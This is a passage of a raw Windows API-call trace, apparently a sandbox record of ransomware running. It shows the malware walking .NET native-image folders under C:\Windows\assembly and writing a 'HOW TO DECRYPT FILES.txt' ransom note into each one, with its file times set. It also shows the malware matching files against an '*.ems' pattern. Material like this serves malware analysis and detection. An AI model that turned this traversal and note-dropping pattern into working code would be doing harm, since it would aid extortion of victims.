[0123.667] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.667] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.667] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.667] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.667] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f5c9b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6f5c9b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x290000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.Runtime.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.667] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.667] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0123.667] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0123.667] lstrcmpiA (lpString1="", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0123.667] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\*.*") returned="*.*" [0123.667] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\" [0123.668] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\") returned="" [0123.668] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\HOW TO DECRYPT FILES.txt" [0123.668] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\how to decrypt files.txt")) returned 0xffffffff [0123.668] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.670] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.670] CloseHandle (hObject=0x90) returned 1 [0123.671] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\", lpString2="System.Workflow.Runtime.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\System.Workflow.Runtime.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\System.Workflow.Runtime.ni.dll" [0123.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\System.Workflow.Runtime.ni.dll", pszSpec="*.ems") returned 0 [0123.671] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xc0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.671] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.671] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Runtime.ni.dll.aux") returned -1 [0123.671] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Runtime.ni.dll.aux") returned -1 [0123.671] lstrcmpiA (lpString1="", lpString2="System.Workflow.Runtime.ni.dll.aux") returned -1 [0123.671] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\System.Workflow.Runtime.ni.dll") returned="System.Workflow.Runtime.ni.dll" [0123.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\" [0123.671] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\") returned="" [0123.671] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\HOW TO DECRYPT FILES.txt" [0123.671] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\how to decrypt files.txt")) returned 0x20 [0123.671] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\", lpString2="System.Workflow.Runtime.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\System.Workflow.Runtime.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\System.Workflow.Runtime.ni.dll.aux" [0123.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\System.Workflow.Runtime.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.672] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xc0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.672] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.672] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9ea2b7c90b2b94db95abbcac4b9d6fa6", cAlternateFileName="9EA2B7~1")) returned 0 [0123.672] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.672] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fbd950, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fbd950, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Workca489553#", cAlternateFileName="SYSTEM~2.WOR")) returned 1 [0123.672] lstrcmpA (lpString1=".", lpString2="System.Workca489553#") returned -1 [0123.672] lstrcmpA (lpString1="..", lpString2="System.Workca489553#") returned -1 [0123.672] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.672] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Workca489553#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#" [0123.673] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fbd950, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fbd950, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.674] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.674] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fbd950, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fbd950, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.674] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.674] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.674] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fe3ab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fe3ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="51aca1119e84ee23c5fa073a71308fa3", cAlternateFileName="51ACA1~1")) returned 1 [0123.674] lstrcmpA (lpString1=".", lpString2="51aca1119e84ee23c5fa073a71308fa3") returned -1 [0123.674] lstrcmpA (lpString1="..", lpString2="51aca1119e84ee23c5fa073a71308fa3") returned -1 [0123.674] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\*.*") returned="*.*" [0123.674] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\", lpString2="51aca1119e84ee23c5fa073a71308fa3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3" [0123.674] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fe3ab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fe3ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.678] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.678] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fe3ab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fe3ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.679] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.679] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.679] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f71690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5f71690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6009c10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x515a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.679] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.680] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0123.680] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0123.680] lstrcmpiA (lpString1="", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0123.680] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\*.*") returned="*.*" [0123.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\" [0123.680] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\") returned="" [0123.680] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\HOW TO DECRYPT FILES.txt" [0123.680] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\how to decrypt files.txt")) returned 0xffffffff [0123.680] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.683] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.683] CloseHandle (hObject=0x90) returned 1 [0123.683] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\", lpString2="System.Workflow.ComponentModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\System.Workflow.ComponentModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\System.Workflow.ComponentModel.ni.dll" [0123.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\System.Workflow.ComponentModel.ni.dll", pszSpec="*.ems") returned 0 [0123.683] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5fe3ab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fe3ab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fe3ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.683] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.ComponentModel.ni.dll.aux") returned -1 [0123.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.ComponentModel.ni.dll.aux") returned -1 [0123.683] lstrcmpiA (lpString1="", lpString2="System.Workflow.ComponentModel.ni.dll.aux") returned -1 [0123.683] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\System.Workflow.ComponentModel.ni.dll") returned="System.Workflow.ComponentModel.ni.dll" [0123.683] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\" [0123.683] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\") returned="" [0123.683] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\HOW TO DECRYPT FILES.txt" [0123.683] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\how to decrypt files.txt")) returned 0x20 [0123.684] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\", lpString2="System.Workflow.ComponentModel.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\System.Workflow.ComponentModel.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\System.Workflow.ComponentModel.ni.dll.aux" [0123.684] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workca489553#\\51aca1119e84ee23c5fa073a71308fa3\\System.Workflow.ComponentModel.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.684] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5fe3ab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fe3ab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fe3ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.684] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.684] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fbd950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb5fe3ab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb5fe3ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="51aca1119e84ee23c5fa073a71308fa3", cAlternateFileName="51ACA1~1")) returned 0 [0123.684] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.684] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Workd8194f73#", cAlternateFileName="SYSTEM~4.WOR")) returned 1 [0123.684] lstrcmpA (lpString1=".", lpString2="System.Workd8194f73#") returned -1 [0123.684] lstrcmpA (lpString1="..", lpString2="System.Workd8194f73#") returned -1 [0123.684] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.684] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Workd8194f73#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#" [0123.685] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, 